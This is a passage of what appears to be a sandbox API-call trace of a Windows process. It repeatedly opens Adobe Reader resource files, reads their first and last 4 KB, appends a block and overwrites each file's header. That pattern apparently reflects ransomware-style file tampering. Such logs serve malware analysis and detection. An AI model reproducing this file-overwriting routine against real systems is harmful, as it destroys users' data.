[0044.589] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.589] CloseHandle (hObject=0x1ac) returned 1 [0044.589] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0044.589] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.589] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x67c2 [0044.589] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.589] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.589] ReleaseMutex (hMutex=0x128) returned 1 [0044.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.he.txt", cchWideChar=27, lpMultiByteStr=0x1e7faec, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.he.txt", lpUsedDefaultChar=0x0) returned 27 [0044.590] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.599] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x57c2 [0044.599] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.600] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x57c2 [0044.600] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.600] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0044.600] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.600] CloseHandle (hObject=0x1ac) returned 1 [0044.601] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0044.601] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.601] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x656a [0044.601] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.601] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.601] ReleaseMutex (hMutex=0x128) returned 1 [0044.601] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.601] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja.txt", cchWideChar=27, lpMultiByteStr=0x1e7faec, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ja.txt", lpUsedDefaultChar=0x0) returned 27 [0044.602] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.603] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x556a [0044.603] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.604] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x556a [0044.604] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.604] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0044.604] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.604] CloseHandle (hObject=0x1ac) returned 1 [0044.604] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb_NO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb_no.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0044.605] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.605] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6df2 [0044.605] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.605] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.605] ReleaseMutex (hMutex=0x128) returned 1 [0044.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb_NO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0044.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb_NO.txt", cchWideChar=30, lpMultiByteStr=0x1e7faec, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nb_NO.txt", lpUsedDefaultChar=0x0) returned 30 [0044.605] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.607] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5df2 [0044.607] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.607] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5df2 [0044.607] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.608] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0044.608] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.608] CloseHandle (hObject=0x1ac) returned 1 [0044.608] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0044.609] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.609] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6f46 [0044.609] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.609] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.609] ReleaseMutex (hMutex=0x128) returned 1 [0044.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0044.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT.txt", cchWideChar=30, lpMultiByteStr=0x1e7faec, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pt_PT.txt", lpUsedDefaultChar=0x0) returned 30 [0044.609] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.610] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5f46 [0044.610] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.611] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5f46 [0044.611] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.612] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0044.612] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.612] CloseHandle (hObject=0x1ac) returned 1 [0044.612] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl_si.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0044.612] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.612] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6ef0 [0044.612] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.612] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.612] ReleaseMutex (hMutex=0x128) returned 1 [0044.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl_SI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0044.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl_SI.txt", cchWideChar=30, lpMultiByteStr=0x1e7faec, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sl_SI.txt", lpUsedDefaultChar=0x0) returned 30 [0044.613] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.940] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5ef0 [0044.990] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.991] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5ef0 [0044.991] WriteFile (in: hFile=0x1ac, lpBuffer=0x2617bd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2617bd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.991] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0044.991] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.992] CloseHandle (hObject=0x1ac) returned 1 [0044.992] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw_stroke.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0044.993] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.993] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x608c [0044.993] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.993] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.993] ReleaseMutex (hMutex=0x128) returned 1 [0044.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW_STROKE.txt", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0044.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW_STROKE.txt", cchWideChar=37, lpMultiByteStr=0x1eb2084, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.zh_TW_STROKE.txt", lpUsedDefaultChar=0x0) returned 37 [0044.993] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0045.006] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x508c [0045.006] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0045.020] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x508c [0045.020] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c8508*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c8508*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.020] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0045.020] WriteFile (in: hFile=0x1ac, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.020] CloseHandle (hObject=0x1ac) returned 1 [0045.021] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0045.021] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.021] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x800 [0045.021] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.021] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.021] ReleaseMutex (hMutex=0x128) returned 1 [0045.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0045.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz.hyp", lpUsedDefaultChar=0x0) returned 7 [0045.021] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dc0738, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesRead=0x32cf2bc*=0x800, lpOverlapped=0x0) returned 1 [0045.033] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0045.033] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xd88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x32cf2d0*=0xd88, lpOverlapped=0x0) returned 1 [0045.033] CloseHandle (hObject=0x1ac) returned 1 [0045.033] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can129.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can129.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0045.033] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.033] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x45c3d [0045.034] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.034] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.034] ReleaseMutex (hMutex=0x128) returned 1 [0045.034] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can129.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0045.034] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can129.hsp", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can129.hsp", lpUsedDefaultChar=0x0) returned 10 [0045.034] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0045.046] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x44c3d [0045.046] ReadFile (in: hFile=0x1ac, lpBuffer=0x2771158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, 